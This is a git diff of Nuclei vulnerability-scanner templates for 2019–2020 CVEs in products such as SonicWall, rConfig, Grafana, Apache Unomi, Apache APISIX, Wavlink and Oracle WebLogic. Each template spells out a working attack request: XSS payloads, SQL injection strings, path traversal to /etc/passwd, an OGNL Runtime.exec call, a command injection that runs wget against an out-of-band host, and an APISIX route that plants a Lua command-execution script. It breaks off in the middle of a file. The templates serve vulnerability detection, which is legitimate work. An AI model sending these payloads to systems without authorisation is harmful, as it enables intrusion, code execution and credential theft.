+ description: | + Unauthenticated reflected cross-site scripting (XSS) exists in Zarafa Webapp 2.0.1.47791 and earlier. NOTE: this is a discontinued product. The issue was fixed in later Zarafa Webapp versions; however, some former Zarafa Webapp customers use the related Kopano product instead. + reference: + - https://github.com/verifysecurity/CVE-2019-7219 + - https://stash.kopano.io/repos?visibility=public + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2019-7219 + cwe-id: CWE-79 + tags: cve,cve2019,zarafa,xss + +requests: + - method: GET + path: + - '{{BaseURL}}/webapp/?fccc%27\%22%3E%3Csvg/onload=alert(/xss/)%3E' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 diff --git a/poc/cve/cve-2019-7315(1).yaml b/poc/cve/cve-2019-7315(1).yaml deleted file mode 100644 index 7e2cb32f90..0000000000 --- a/poc/cve/cve-2019-7315(1).yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2019-7315 -info: - name: Genie Access WIP3BVAF IP Camera - Directory Traversal - author: 0x_Akoko - severity: high - description: Genie Access WIP3BVAF WISH IP 3MP IR Auto Focus Bullet Camera devices through 3.X are vulnerable to directory traversal via the web interface, as demonstrated by reading /etc/shadow. - reference: - - https://labs.nettitude.com/blog/cve-2019-7315-genie-access-wip3bvaf-ip-camera-directory-traversal/ - - https://vuldb.com/?id.136593 - - https://www.cvedetails.com/cve/CVE-2019-7315 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2019-7315 - cwe-id: CWE-22 - tags: cve,cve2019,camera,genie,lfi,iot -requests: - - method: GET - path: - - "{{BaseURL}}/../../../../../etc/passwd" - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 diff --git a/poc/cve/cve-2019-7481-4228.yaml b/poc/cve/cve-2019-7481-4228.yaml new file mode 100644 index 0000000000..9fae3a6f0c --- /dev/null +++ b/poc/cve/cve-2019-7481-4228.yaml @@ -0,0 +1,33 @@ +id: CVE-2019-7481 +info: + name: SonicWall SRA 4600 VPN - SQL Injection + author: _darrenmartyn + severity: high + description: The SonicWall SRA 4600 VPN appliance is susceptible to a pre-authentication SQL injection vulnerability. + reference: + - https://www.crowdstrike.com/blog/how-ecrime-groups-leverage-sonicwall-vulnerability-cve-2019-7481/ + - https://nvd.nist.gov/vuln/detail/CVE-2019-7481 + - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2019-0016 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2019-7481 + cwe-id: CWE-89 + tags: cve,cve2019,sonicwall,sqli +requests: + - raw: + - | + POST /cgi-bin/supportInstaller HTTP/1.1 + Host: {{Hostname}} + Accept-Encoding: identity + User-Agent: MSIE + Content-Type: application/x-www-form-urlencoded + + fromEmailInvite=1&customerTID=unpossible'+UNION+SELECT+0,0,0,11132*379123,0,0,0,0-- + matchers: + - type: word + words: + - "4220397236" + part: body + +# Enhanced by mp on 2022/04/20 diff --git a/poc/cve/cve-2019-7543-4231.yaml b/poc/cve/cve-2019-7543-4231.yaml new file mode 100644 index 0000000000..dcc254dab2 --- /dev/null +++ b/poc/cve/cve-2019-7543-4231.yaml @@ -0,0 +1,33 @@ +id: CVE-2019-7543 +info: + name: KindEditor 4.1.11, the php/demo.php - (XSS) + author: pikpikcu + severity: medium + description: KindEditor 4.1.11, the php/demo.php content1 parameter has a reflected Cross-site Scripting (XSS) vulnerability. + reference: + - https://github.com/0xUhaw/CVE-Bins/tree/master/KindEditor + - https://nvd.nist.gov/vuln/detail/CVE-2019-7543 + tags: cve,cve2019,kindeditor,xss + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2019-7543 + cwe-id: CWE-79 +requests: + - method: POST + path: + - '{{BaseURL}}/kindeditor/php/demo.php' + - '{{BaseURL}}/php/demo.php' + body: "content1=&button=%E6%8F%90%E4%BA%A4%E5%86%85%E5%AE%B9" + headers: + Content-Type: application/x-www-form-urlencoded + matchers-condition: and + matchers: + - type: word + words: + - '' + part: body + - type: word + part: header + words: + - text/html diff --git a/poc/cve/cve-2019-8903.yaml b/poc/cve/cve-2019-8903.yaml new file mode 100644 index 0000000000..5e9901b6e8 --- /dev/null +++ b/poc/cve/cve-2019-8903.yaml @@ -0,0 +1,45 @@ +id: CVE-2019-8903 + +info: + name: Totaljs <3.2.3 - Local File Inclusion + author: madrobot + severity: high + description: Total.js Platform before 3.2.3 is vulnerable to local file inclusion. + remediation: | + Upgrade Totaljs to version 3.2.3 or later to fix the LFI vulnerability. + reference: + - https://blog.certimetergroup.com/it/articolo/security/total.js-directory-traversal-cve-2019-8903 + - https://github.com/totaljs/framework/commit/c37cafbf3e379a98db71c1125533d1e8d5b5aef7 + - https://github.com/totaljs/framework/commit/de16238d13848149f5d1dae51f54e397a525932b + - https://nvd.nist.gov/vuln/detail/CVE-2019-8903 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2019-8903 + cwe-id: CWE-22 + epss-score: 0.01071 + epss-percentile: 0.82558 + cpe: cpe:2.3:a:totaljs:total.js:*:*:*:*:*:node.js:*:* + metadata: + max-request: 1 + vendor: totaljs + product: total.js + framework: node.js + tags: cve,cve2019,totaljs,lfi + +http: + - method: GET + path: + - "{{BaseURL}}/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/var/www/html/index.html" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "apache2.conf" + + - type: status + status: + - 200 +# digest: 4a0a00473045022100c7126e080faa3eb1531fe5faa823ef4a6c7f6271e47b3afbe49b8c9650166af00220176776ec7fd2240c424e2621f78179020d06d8a4a1f7aee783b8c8660f26c529:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2019-8982.yaml b/poc/cve/cve-2019-8982.yaml new file mode 100644 index 0000000000..c89ad787d0 --- /dev/null +++ b/poc/cve/cve-2019-8982.yaml @@ -0,0 +1,42 @@ +id: CVE-2019-8982 + +info: + name: Wavemaker Studio 6.6 - Local File Inclusion/Server-Side Request Forgery + author: madrobot + severity: critical + description: "WaveMaker Studio 6.6 mishandles the studioService.download?method=getContent&inUrl= value in com/wavemaker/studio/StudioService.java, leading to disclosure of local files and server-side request forgery." + remediation: | + Apply the latest security patches and updates provided by Wavemaker Studio to mitigate these vulnerabilities. + reference: + - https://www.exploit-db.com/exploits/45158 + - https://nvd.nist.gov/vuln/detail/CVE-2019-8982 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H + cvss-score: 9.6 + cve-id: CVE-2019-8982 + cwe-id: CWE-918 + epss-score: 0.02146 + epss-percentile: 0.88068 + cpe: cpe:2.3:a:wavemaker:wavemarker_studio:6.6:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: wavemaker + product: wavemarker_studio + tags: cve,cve2019,wavemaker,lfi,ssrf,edb + +http: + - method: GET + path: + - "{{BaseURL}}/wavemaker/studioService.download?method=getContent&inUrl=file///etc/passwd" + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 +# digest: 4a0a00473045022100aa94cad82594d0516f6ed72135fa331a77c85c27bb336daaa133fb71cbd11fb4022068d8d9875ca409c641a04cd23699ac5e59a094dcfa23da0006faa2a9b55d4682:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2019-9922(1).yaml b/poc/cve/cve-2019-9922(1).yaml new file mode 100644 index 0000000000..c8af51903f --- /dev/null +++ b/poc/cve/cve-2019-9922(1).yaml @@ -0,0 +1,28 @@ +id: CVE-2019-9922 +info: + name: JE Messenger 1.2.2 Joomla - Directory Traversal + author: 0x_Akoko + severity: high + description: An issue was discovered in the Harmis JE Messenger component 1.2.2 for Joomla. Directory Traversal allows read access to arbitrary files. + reference: + - https://github.com/azd-cert/CVE/blob/master/CVEs/CVE-2019-9922.md + - https://www.cvedetails.com/cve/CVE-2019-9922 + - https://extensions.joomla.org/extension/je-messenger/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2019-9922 + cwe-id: CWE-22 + tags: cve,cve2019,joomla,messenger,lfi +requests: + - method: GET + path: + - "{{BaseURL}}/index.php/component/jemessenger/box_details?task=download&dw_file=../../.././../../../etc/passwd" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0" + - type: status + status: + - 200 diff --git a/poc/cve/cve-2020-10220.yaml b/poc/cve/cve-2020-10220.yaml deleted file mode 100644 index 2cc4bdf147..0000000000 --- a/poc/cve/cve-2020-10220.yaml +++ /dev/null @@ -1,50 +0,0 @@ -id: CVE-2020-10220 - -info: - name: rConfig 3.9 - SQL Injection - author: ritikchaddha,theamanrawat - severity: critical - description: | - An issue was discovered in rConfig through 3.9.4. The web interface is prone to a SQL injection via the commands.inc.php searchColumn parameter. - remediation: | - Upgrade to a patched version of rConfig or apply the vendor-supplied patch to mitigate this vulnerability. - reference: - - http://packetstormsecurity.com/files/156950/rConfig-3.9.4-searchField-Remote-Code-Execution.html - - https://nvd.nist.gov/vuln/detail/CVE-2020-10220 - - http://packetstormsecurity.com/files/156688/rConfig-3.9-SQL-Injection.html - - http://packetstormsecurity.com/files/156766/Rconfig-3.x-Chained-Remote-Code-Execution.html - - https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2020-10220.py - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-10220 - cwe-id: CWE-89 - epss-score: 0.02204 - epss-percentile: 0.88241 - cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: rconfig - product: rconfig - shodan-query: title:"rConfig" - tags: packetstorm,cve,cve2020,rconfig,sqli -variables: - num: "999999999" - -http: - - method: GET - path: - - "{{BaseURL}}/commands.inc.php?searchOption=contains&searchField=vuln&search=search&searchColumn=command%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,md5('{{num}}'),0x5B50574E5D3C42523E)%20limit%200,1),NULL--" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "{{md5(num)}}" - - - type: status - status: - - 200 -# digest: 490a00463044022025c2ad051a88a6b55cea4c3cf31cccd7d3fa8db23d6d1808edb65cee78d0e39d02201173ab667317841df855f850217a903c952f0935235f7c8295c84720aed8a757:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2020-10549-4379.yaml b/poc/cve/cve-2020-10549-4379.yaml deleted file mode 100644 index 9a05c1f547..0000000000 --- a/poc/cve/cve-2020-10549-4379.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2020-10549 -info: - name: rConfig 3.9.4 SQLi - author: madrobot - severity: critical - description: rConfig 3.9.4 and previous versions has unauthenticated snippets.inc.php SQL injection. Because, by default, nodes' passwords are stored in cleartext, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices. - reference: - - https://github.com/theguly/exploits/blob/master/CVE-2020-10549.py - - https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/ - tags: cve,cve2020,rconfig,sqli - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2020-10549 - cwe-id: CWE-89,CWE-522 - -requests: - - method: GET - path: - - "{{BaseURL}}/snippets.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL+--+&searchColumn=snippetName&searchOption=contains" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "[project-discovery]" - part: body diff --git a/poc/cve/cve-2020-11110-4393.yaml b/poc/cve/cve-2020-11110-4393.yaml new file mode 100644 index 0000000000..99910d37ea --- /dev/null +++ b/poc/cve/cve-2020-11110-4393.yaml @@ -0,0 +1,57 @@ +id: CVE-2020-11110 + +info: + name: Grafana Unauthenticated Stored XSS + author: emadshanab + severity: medium + description: Grafana through 6.7.1 allows stored XSS due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot. + reference: + - https://web.archive.org/web/20210717142945/https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html + - https://nvd.nist.gov/vuln/detail/CVE-2020-11110 + - https://github.com/grafana/grafana/blob/master/CHANGELOG.md + - https://security.netapp.com/advisory/ntap-20200810-0002/ + remediation: This issue can be resolved by updating Grafana to the latest version. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2020-11110 + cwe-id: CWE-79 + tags: cve,cve2020,xss,grafana + +requests: + - raw: + - | + POST /api/snapshots HTTP/1.1 + Host: {{Hostname}} + Accept: application/json, text/plain, */* + Accept-Language: en-US,en;q=0.5 + Referer: {{BaseURL}} + content-type: application/json + Connection: close + + {"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0} + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: header + words: + - application/json + + - type: word + part: body + words: + - '"deleteKey":' + - '"deleteUrl":' + condition: and + + extractors: + - type: regex + part: body + group: 1 + regex: + - '"url":"([a-z:/0-9A-Z]+)"' diff --git a/poc/cve/cve-2020-11530.yaml b/poc/cve/cve-2020-11530.yaml deleted file mode 100644 index 994a6479d0..0000000000 --- a/poc/cve/cve-2020-11530.yaml +++ /dev/null @@ -1,48 +0,0 @@ -id: CVE-2020-11530 - -info: - name: WordPress Chop Slider 3 - Blind SQL Injection - author: theamanrawat - severity: critical - description: | - WordPress Chop Slider 3 plugin contains a blind SQL injection vulnerability via the id GET parameter supplied to get_script/index.php. The plugin can allow an attacker to execute arbitrary SQL queries in the context of the WP database user, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. - remediation: | - Update to the latest version of the WordPress Chop Slider 3 plugin to mitigate the vulnerability. - reference: - - https://wpscan.com/vulnerability/f10cd7d7-6a31-48e5-994c-b100c846001a - - https://github.com/idangerous/plugins/tree/master/Chop%20Slider%203/Chop%20Slider%203%20Wordpress - - https://idangero.us/ - - https://nvd.nist.gov/vuln/detail/CVE-2020-11530 - - http://seclists.org/fulldisclosure/2020/May/26 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-11530 - cwe-id: CWE-89 - epss-score: 0.66684 - epss-percentile: 0.97612 - cpe: cpe:2.3:a:idangero:chop_slider:3.0:*:*:*:*:wordpress:*:* - metadata: - verified: true - max-request: 1 - vendor: idangero - product: chop_slider - framework: wordpress - tags: wpscan,seclists,cve,cve2020,sqli,wordpress,wp-plugin,wp,chopslider,unauth - -http: - - raw: - - | - @timeout 10s - GET /wp-content/plugins/chopslider/get_script/index.php?id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))A) HTTP/1.1 - Host: {{Hostname}} - - matchers: - - type: dsl - dsl: - - 'duration>=6' - - 'status_code == 200' - - 'contains(content_type, "application/javascript")' - - 'contains(body, "$(document).ready(function()")' - condition: and -# digest: 4a0a0047304502205f80ae25c4c4f40c8fc31f0a182a3ec201c3da9a7df2d49628e3684b29ca257a022100a5dd6be779da0df34c5dbac2ae45a8ec11039067c90fb8983f2037bc261c97e2:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2020-11854.yaml b/poc/cve/cve-2020-11854.yaml new file mode 100644 index 0000000000..78a451e921 --- /dev/null +++ b/poc/cve/cve-2020-11854.yaml @@ -0,0 +1,48 @@ +id: CVE-2020-11854 + +info: + name: Micro Focus UCMDB - Remote Code Execution + author: dwisiswant0 + severity: critical + description: | + Micro Focus UCMDB is susceptible to remote code execution. Impacted products include Operation Bridge Manager versions 2020.05, 2019.11, 2019.05, 2018.11, 2018.05, 10.63,10.62, 10.61, 10.60, 10.12, 10.11, 10.10 and all earlier versions, and Operations Bridge (containerized) 2020.05, 2019.08, 2019.05, 2018.11, 2018.08, 2018.05. 2018.02 and 2017.11. 3.), and Application Performance Management versions 9,51, 9.50 and 9.40 with UCMDB 10.33 CUP 3. + remediation: | + Apply the latest security patches or updates provided by Micro Focus to fix this vulnerability. + reference: + - http://packetstormsecurity.com/files/161182/Micro-Focus-UCMDB-Remote-Code-Execution.html + - https://softwaresupport.softwaregrp.com/doc/KM03747658 + - https://softwaresupport.softwaregrp.com/doc/KM03747657 + - https://softwaresupport.softwaregrp.com/doc/KM03747854 + - https://nvd.nist.gov/vuln/detail/CVE-2020-11854 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-11854 + cwe-id: CWE-798 + epss-score: 0.2548 + epss-percentile: 0.96215 + cpe: cpe:2.3:a:microfocus:application_performance_management:9.50:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: microfocus + product: application_performance_management + tags: microfocus,packetstorm,cve,cve2020,ucmdb,rce + +http: + - method: GET + path: + - "{{BaseURL}}/ucmdb-api/connect" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "HttpUcmdbServiceProviderFactoryImpl" + - "ServerVersion=11.6.0" + condition: and + + - type: status + status: + - 200 +# digest: 4a0a0047304502204c7696ba555d7b9bbb2ab45e828c7bcf0906ef3a6ef83d470ba4c87099c61c0f022100f3d94291b0fba1c635b9b70752e62cc0f520233698a7b228174c0f2d812fb081:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2020-13117-4489.yaml b/poc/cve/cve-2020-13117-4489.yaml deleted file mode 100644 index bfc0ff9a86..0000000000 --- a/poc/cve/cve-2020-13117-4489.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2020-13117 -info: - name: Wavlink Multiple AP - Unauthenticated RCE - author: gy741 - severity: critical - description: Several Wavlink products are affected by a vulnerability that may allow remote unauthenticated users to execute arbitrary commands as root on Wavlink devices. The user input is not properly sanitized which allows command injection via the "key" parameter in a login request. It has been tested on Wavlink WN575A4 and WN579X3 devices, but other products may be affected. - reference: - - https://blog.0xlabs.com/2021/02/wavlink-rce-CVE-2020-13117.html - tags: cve,cve2020,wavlink,rce,oast - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2020-13117 - cwe-id: CWE-77 -requests: - - raw: - - | - POST /cgi-bin/login.cgi HTTP/1.1 - Host: {{Hostname}} - Origin: http://{{Hostname}} - Content-Type: application/x-www-form-urlencoded - Accept-Encoding: gzip, deflate - - newUI=1&page=login&username=admin&langChange=0&ipaddr=192.168.1.66&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=wifi.wavlink.com&key=%27%3B%60wget+http%3A%2F%2F{{interactsh-url}}%3B%60%3B%23&password=asd&lang_select=en - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" diff --git a/poc/cve/cve-2020-13700-4513.yaml b/poc/cve/cve-2020-13700-4513.yaml deleted file mode 100644 index 58708bf1f5..0000000000 --- a/poc/cve/cve-2020-13700-4513.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2020-13700 -info: - name: acf-to-rest-api wordpress plugin IDOR - author: pikpikcu - severity: high - reference: https://gist.github.com/mariuszpoplwski/4fbaab7f271bea99c733e3f2a4bafbb5 - description: | - An issue was discovered in the acf-to-rest-api plugin through 3.1.0 for WordPress. - It allows an insecure direct object reference via permalinks manipulation, as demonstrated by a - wp-json/acf/v3/options/ request that reads sensitive information in the wp_options table, such as the login and pass values. - tags: cve,cve2020,wordpress -requests: - - method: GET - path: - - '{{BaseURL}}/wp-json/acf/v3/options/a?id=active&field=plugins' - matchers-condition: and - matchers: - - type: word - words: - - 'Content-Type: application/json' - part: header - - type: word - words: - - 'acf-to-rest-api\/class-acf-to-rest-api.php' - part: body - condition: and - - type: status - status: - - 200 diff --git a/poc/cve/cve-2020-13942.yaml b/poc/cve/cve-2020-13942.yaml new file mode 100644 index 0000000000..db6176c4f9 --- /dev/null +++ b/poc/cve/cve-2020-13942.yaml @@ -0,0 +1,82 @@ +id: CVE-2020-13942 + +info: + name: Apache Unomi <1.5.2 - Remote Code Execution + author: dwisiswant0 + severity: critical + description: | + Apache Unomi allows conditions to use OGNL and MVEL scripting which + offers the possibility to call static Java classes from the JDK + that could execute code with the permission level of the running Java process. + This vulnerability affects all versions of Apache Unomi prior to 1.5.2. + remediation: Apache Unomi users should upgrade to 1.5.2 or later. + reference: + - https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/ + - https://twitter.com/chybeta/status/1328912309440311297 + - https://nvd.nist.gov/vuln/detail/CVE-2020-13942 + - http://unomi.apache.org./security/cve-2020-13942.txt + - https://lists.apache.org/thread.html/r4a8fa91836687eaca42b5420a778ca8c8fd3a3740e4cf4401acc9118@%3Cusers.unomi.apache.org%3E + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-13942 + cwe-id: CWE-74,CWE-20 + epss-score: 0.97256 + epss-percentile: 0.9981 + cpe: cpe:2.3:a:apache:unomi:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: apache + product: unomi + tags: cve,cve2020,apache,rce +variables: + id: "{{to_lower(rand_text_alpha(5))}}" + +http: + - method: POST + path: + - "{{BaseURL}}/context.json" + + body: | + { + "filters": [ + { + "id": "{{id}}", + "filters": [ + { + "condition": { + "parameterValues": { + "nuclei": "script::Runtime.getRuntime().exec('id')" + }, + "type": "profilePropertyCondition" + } + } + ] + } + ], + "sessionId": "nuclei" + } + + headers: + Content-Type: "application/json" + + matchers-condition: and + matchers: + - type: word + part: header + words: + - "application/json" + - "context-profile-id" + condition: and + + - type: regex + part: body + regex: + - "(profile|session)(Id|Properties|Segments)" + - "[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}" + condition: and + + - type: status + status: + - 200 +# digest: 4b0a00483046022100fd7131dcffc74549a5629b0211ba9459cc6162d5ad6fa5710a575f309318357a022100d4f405c6375093102e323cd6ce718b37d92e6ce34c95ef41aa028bbe3fd229f1:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2020-13945-4535.yaml b/poc/cve/cve-2020-13945-4535.yaml deleted file mode 100644 index 6c740884d6..0000000000 --- a/poc/cve/cve-2020-13945-4535.yaml +++ /dev/null @@ -1,58 +0,0 @@ -id: CVE-2020-13945 - -info: - name: Apache APISIX's Admin API Default Access Token (RCE) - author: pdteam - severity: medium - description: In Apache APISIX, the user enabled the Admin API and deleted the Admin API access IP restriction rules. Eventually, the default token is allowed to access APISIX management data. This affects versions 1.2, 1.3, 1.4, 1.5. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2020-13945 - - https://github.com/vulhub/vulhub/tree/master/apisix/CVE-2020-13945 - - https://lists.apache.org/thread.html/r792feb29964067a4108f53e8579a1e9bd1c8b5b9bc95618c814faf2f%40%3Cdev.apisix.apache.org%3E - - http://packetstormsecurity.com/files/166228/Apache-APISIX-Remote-Code-Execution.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - cvss-score: 6.5 - cve-id: CVE-2020-13945 - tags: cve,cve2020,apache,apisix,rce,intrusive - -requests: - - raw: - - | - POST /apisix/admin/routes HTTP/1.1 - Host: {{Hostname}} - X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 - Content-Type: application/json - - { - "uri":"/{{randstr}}", - "script":"local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M", - "upstream":{ - "type":"roundrobin", - "nodes":{ - "interact.sh:80":1 - } - } - } - - - | - GET /{{randstr}}?cmd=id HTTP/1.1 - Host: {{Hostname}} - - matchers-condition: and - matchers: - - type: word - words: - - '"action":"create"' - - '"script":' - - '"node":' - condition: and - - - type: status - status: - - 201 - - extractors: - - type: regex - regex: - - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)" diff --git a/poc/cve/cve-2020-14181.yaml b/poc/cve/cve-2020-14181.yaml deleted file mode 100644 index b38cfa0a31..0000000000 --- a/poc/cve/cve-2020-14181.yaml +++ /dev/null @@ -1,45 +0,0 @@ -id: CVE-2020-14181 - -info: - name: Jira Server and Data Center - Information Disclosure - author: bjhulst - severity: medium - description: Jira Server and Data Center is susceptible to information disclosure. An attacker can enumerate users via the /ViewUserHover.jspa endpoint and thus potentially access sensitive information, modify data, and/or execute unauthorized operations. Affected versions are before version 7.13.6, from version 8.0.0 before 8.5.7, and from version 8.6.0 before 8.12.0. - remediation: | - Apply the necessary patches or updates provided by Atlassian to fix the vulnerability. - reference: - - https://jira.atlassian.com/browse/JRASERVER-71560 - - http://packetstormsecurity.com/files/161730/Atlassian-JIRA-8.11.1-User-Enumeration.html - - https://nvd.nist.gov/vuln/detail/CVE-2020-14181 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cve-id: CVE-2020-14181 - cwe-id: CWE-200 - epss-score: 0.96668 - epss-percentile: 0.99543 - cpe: cpe:2.3:a:atlassian:data_center:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: atlassian - product: data_center - shodan-query: http.component:"Atlassian Jira" - tags: cve,cve2020,atlassian,jira,packetstorm - -http: - - method: GET - path: - - '{{BaseURL}}/secure/ViewUserHover.jspa' - - matchers-condition: and - matchers: - - type: word - words: - - 'user-hover-details' - - 'content="JIRA"' - condition: and - - - type: status - status: - - 200 -# digest: 4a0a0047304502204e302056e9c23ccfff1ed6ffb947792cec084d5268e9a8648ea3fb973b1ed700022100d2772006cdf7a1f8fa57862e16164b0a6095027a1567baf94f2d077279a88607:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2020-14864(1).yaml b/poc/cve/cve-2020-14864(1).yaml deleted file mode 100644 index 1a74ce325d..0000000000 --- a/poc/cve/cve-2020-14864(1).yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2020-14864 -info: - name: Oracle Fusion - "getPreviewImage" Directory Traversal/Local File Inclusion - author: Ivo Palazzolo (@palaziv) - severity: high - description: Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - "getPreviewImage" Directory Traversal/Local File Inclusion - reference: - - http://packetstormsecurity.com/files/159748/Oracle-Business-Intelligence-Enterprise-Edition-5.5.0.0.0-12.2.1.3.0-12.2.1.4.0-LFI.html - - https://www.oracle.com/security-alerts/cpuoct2020.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2020-14864 - tags: cve,cve2020,oracle,lfi,kev -requests: - - method: GET - path: - - '{{BaseURL}}/analytics/saw.dll?bieehome&startPage=1' # grab autologin cookies - - '{{BaseURL}}/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd' - cookie-reuse: true - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - 'root:.*:0:0:' - part: body diff --git a/poc/cve/cve-2020-14882.yaml b/poc/cve/cve-2020-14882.yaml new file mode 100644 index 0000000000..bad4fad2f7 --- /dev/null +++ b/poc/cve/cve-2020-14882.yaml @@ -0,0 +1,46 @@ +id: CVE-2020-14882 + +info: + name: Oracle Weblogic Server - Remote Command Execution + author: dwisiswant0 + severity: critical + description: Oracle WebLogic Server contains an easily exploitable remote command execution vulnerability which allows unauthenticated attackers with network access via HTTP to compromise the server. + remediation: | + Apply the latest security patches provided by Oracle to fix the vulnerability. + reference: + - 